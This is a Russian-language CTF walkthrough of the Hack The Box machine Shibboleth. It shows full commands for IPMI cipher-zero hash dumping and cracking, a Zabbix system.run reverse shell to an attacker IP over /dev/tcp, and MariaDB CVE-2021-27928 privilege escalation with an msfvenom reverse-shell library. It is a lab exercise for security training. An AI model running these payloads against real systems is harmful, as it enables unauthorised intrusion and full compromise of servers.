Сегодня рассмотрим прохождение еще одной уязвимой машины средней сложности, с площадки HTB (Hack The Box), которая называется Shibboleth. Мы будем захватывать контроллер управления платами (BMC), который работает по протоколу IPMI. Для этого будем эксплуатировать уязвимость в Zabbix, а потом повысим привилегии с помощью уязвимости в MySQL.
Еще по теме: Эксплуатация уязвимости PrintNightmare
Лучше подключаться к машине HTB с помощью VPN. И желательно не делать это со своего личного компа, на котором хранится чувствительная информация.
Для начала добавим IP-адрес машины в /etc/hosts:
1 |
10.10.11.124 shibboleth.htb |
Начнем со сканирования портов. Это стандартная операция при любом пентесте. Сканирование портов позволит определить, какие службы на машине принимают соединение.
Для этого отлично подходит популярный сканер Nmap. Следующий скрипт улучшит результаты сканирования:
1 2 3 |
#!/bin/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -p$ports -A $1 |
Он действует в два этапа. Первый производит просто быстрое сканирование, второй — глубокое сканирование, используя имеющиеся скрипты (опция —A).
Сканер нашел только один открытый порт — 80. На хосте работает веб‑сервер Apache 2.4.41.
Изучение сайта не принесло пользы, поэтому перейдем к перебору адресов в надежде найти скрытые ресурсы.
Сканирование веба c ffuf
Начинать тестирование безопасности веб‑приложения следует с перебора каталогов. Это позволит найти скрытую информацию и недоступные обычным посетителям функции. Для этого отлично подойдут программы типа ffuf, dirsearch и DIRB.
Сегодня будем использовать ffuf. Во время запуска следует указать параметры:
- -u — URL (адрес).
- -t — количество активных потоков.
- -w — словарь (можно использовать словарь SecLists).
- -fc — убрать из результата ответы с кодом 403.
Запуск ffuf:
1 |
ffuf -u http://shibboleth.htb/FUZZ -t 256 -w files_interesting.txt -fs 279 |
Нашелся файл changelog.txt, который указывает на чем работает сайт.
Иногда стоит кроме каталогов также перебрать виртуальные хосты (поддомены). Для этого можно заюзать тот же ffuf и перебирать HTTP-заголовок Host (параметр -H). Можно отфильтровывать результат (параметр -fl), так как ответ на все запросы включает десять строк:
1 |
ffuf -u http://shibboleth.htb -t 256 -w subdomains-top1million-110000.txt -H 'Host: FUZZ.shibboleth.htb' -fl 10 |
Нашлись три домена, которые ведут на один и тот же сайт. Добавляем их в файл /etc/hosts и пробуем открыть какой-нибудь. Нас встречает панель авторизации Zabbix.
1 |
10.10.11.124 monitor.shibboleth.htb shibboleth.htb |
Так как идти дальше некуда, попробуем сканирование UDP-портов. Это долгий процесс, но может принести много пользы в прохождении Shibboleth Hack The Box.
1 |
sudo nmap -sU shibboleth.htb |
Порт UDP 623 используется службой IPMI. А этот протокол используется для общения контроллеров управления платами.
Точка входа
Похоже, мы имеем дело с контроллером управления платой, BMCS. Это что‑то вроде мини‑компьютера, который используется для мониторинга настольных компьютеров и серверов. BMCS часто реализованы как встраиваемые системы ARM, работающие под управлением Linux и подключенные непосредственно к материнской плате основной системы.
Доступ к сети обеспечивается либо через основную сетевую карту, либо через специальный интерфейс. Почти все серверы и рабочие станции поставляются с той или иной формой BMC.
Интеллектуальный интерфейс управления платформой (IPMI) — это набор спецификаций, определяющих протоколы связи для обмена данными как по локальной шине, так и по сети. Через IPMI можно удаленно подключиться к серверу и управлять его работой:
- мониторить состояние оборудования, например проверять температуру отдельных составляющих системы, уровень напряжения, скорость вращения вентиляторов;
- восстанавливать работоспособность сервера в автоматическом или ручном режиме (удаленная перезагрузка системы, включение и выключение питания, загрузка ISO-образов и обновление программного обеспечения);
- управлять периферийными устройствами;
- вести журнал событий;
- хранить информацию об используемом оборудовании.
Первым делом получим базовую информацию, такую как номер версии (1.5 или 2.0). В этом нам может помочь модуль ipmi_version из Metasploit Framework.
1 2 3 |
msfconsole -q use auxiliary/scanner/ipmi/ipmi_version show options |
Как следует из параметров модуля ipmi_version, нужно лишь указать адрес хоста.
1 2 |
set RHOSTS shibboleth.htb run |
У нас версия 2.0. В ней есть уязвимость обхода аутентификации. При использовании шифра типа 0 (клиент хочет использовать аутентификацию открытым текстом) доступ можно получить практически с любым паролем. Проверим, уязвим ли хост, с помощью модуля ipmi_cipher_zero, которому также нужно указать адрес хоста.
1 2 3 |
use auxiliary/scanner/ipmi/ipmi_cipher_zero set RHOSTS shibboleth.htb run |
Базовую информацию узнали, для дальнейшей работы нам потребуется утилита ipmitool, установить которую можно прямо из репозитория.
1 |
sudo apt install ipmitool |
А теперь запросим список пользователей (user list). Для аутентификации используем дефолтное имя пользователя Administrator.
1 |
ipmitool -I lanplus -C 0 -H shibboleth.htb -U root -P '' user list |
Таким образом, у нас есть всего одно имя, но и этого нам хватит. Дело в том, что в процессе аутентификации IPMI 2.0 сервер сообщит клиенту SHA1-хеш любой учетной записи, для которой поступит запрос. Чтобы сделать его, можем использовать модуль ipmi_dumphashes.
1 2 |
use auxiliary/scanner/ipmi/ipmi_dumphashes show options |
У Metasploit есть свой словарь имен, поэтому вновь укажем только адрес хоста.
1 2 |
set RHOSTS shibboleth.htb run |
С помощью знаменитого hashcat можно не только быстро ломать хеши и создавать правила или списки паролей, но и определять тип хеша.
1 |
hashcat --example | grep 'IPMI' -A2 -B2 |
Нам сообщают, что это хеш типа IPMI2 SHA1 и что, если мы хотим перебирать его, нужно использовать код режима 7300. Так мы и поступим, а в качестве словаря с паролями используем rockyou.
1 |
hashcat -a 0 -m 7300 hash.txt rockyou.txt |
В итоге легко подбираем пароль. А с его помощью авторизуемся в Zabbix.
Точка опоры и продвижение
Через панель Zabbix можно выполнить код и получить реверс‑шелл. Для этого перейдем к меню Configuration —> Host —> Items и выберем Add Item.
Теперь следующей командой откроем листенер для приема соединения:
1 |
rlwrap -cAr nc -lvp 4321 |
Заполняем обязательные поля, а в поле Key указываем реверс‑шелл.
1 |
system.run[/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.134/4321 0>&1",nowait] |
Как только новая запись будет добавлена, в окне листенера получим бэкконнект.
В системе найдем всего одного пользователя ipmi-svc, а в файле /etc/passwd обнаружим, что он может использовать командную оболочку.
1 |
cat /etc/passwd | grep ipmi-svc |
С имеющимся паролем авторизуемся как ipmi-svc.
1 2 |
python3 -c 'import pty;pty.spawn("/bin/bash")' su |
Локальное повышение привилегий
Один из способов повысить привилегии — найти учетные данные. В данном случае есть шанс получить их из Zabbix. Поскольку он подключается к базе данных, параметры этого подключения должны где‑то содержаться. В случае с Zabbix они находятся в конфиге:
1 |
/etc/zabbix/zabbix_server.conf |
Этот пароль к пользователю root не подошел, зато позволит авторизоваться в MySQL.
1 |
mysql -u zabbix -pbloooarskybluh -D zabbix |
При подключении мы узнаем версию MySQL, поэтому можем поискать готовые эксплоиты.
Поиск готовых эксплоитов
При пентесте лучше всего искать эксплоиты в Google, поскольку этот поисковик заглядывает и в личные блоги, и в самые разные отчеты. Ускорят дело специализированные сайты для поиска уязвимостей вроде Exploit-DB — там часто можно обнаружить подходящие варианты.
Если вы работаете в специализированной ОС вроде Kali Linux, то эта база у вас уже есть и для поиска можно использовать утилиту searchsploit.
Поиск эксплоита для 10.3.25-MariaDBНаходим баг CVE-2021-27928. Эксплуатация этой уязвимости приводит к удаленному выполнению кода: мы можем установить значение wsrep_provider (системная переменная MySQL, указывающая расположение библиотеки wsrep).
Управление путем к библиотеке, которая будет загружена в MySQL, дает нам возможность поместить в нее вредоносный код, который запустится в привилегированном контексте.
Такая библиотека должна быть файлом .so, сгенерировать который нам поможет MSFVenom, входящий в состав Metasploit Framework. Формат файла указываем в параметре -f, а в качестве нагрузки используем обычный реверс‑шелл (параметр -p).
1 |
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.134 LPORT=5432 -f elf-so -o ralf_expl.so |
Загружаем на удаленный хост сгенерированную библиотеку и открываем на локальном хосте листенер:
1 |
rlwrap -cAr nc -lvnp 5432 |
А теперь эксплуатируем уязвимость, просто установив значение переменной wsrep_provider.
1 |
SET GLOBAL wsrep_provider="/tmp/ralf_expl.so"; |
И в окне листенера видим бэкконнект.
Машина захвачена!
Заключение
Теперь вы знаете, как эксплуатировать уязвимость в Zabbix и MySQL, а также научились другим интересным вещам, которые пригодятся в этичном хакинге.
Еще по теме: Эксплуатация уязвимости Log4j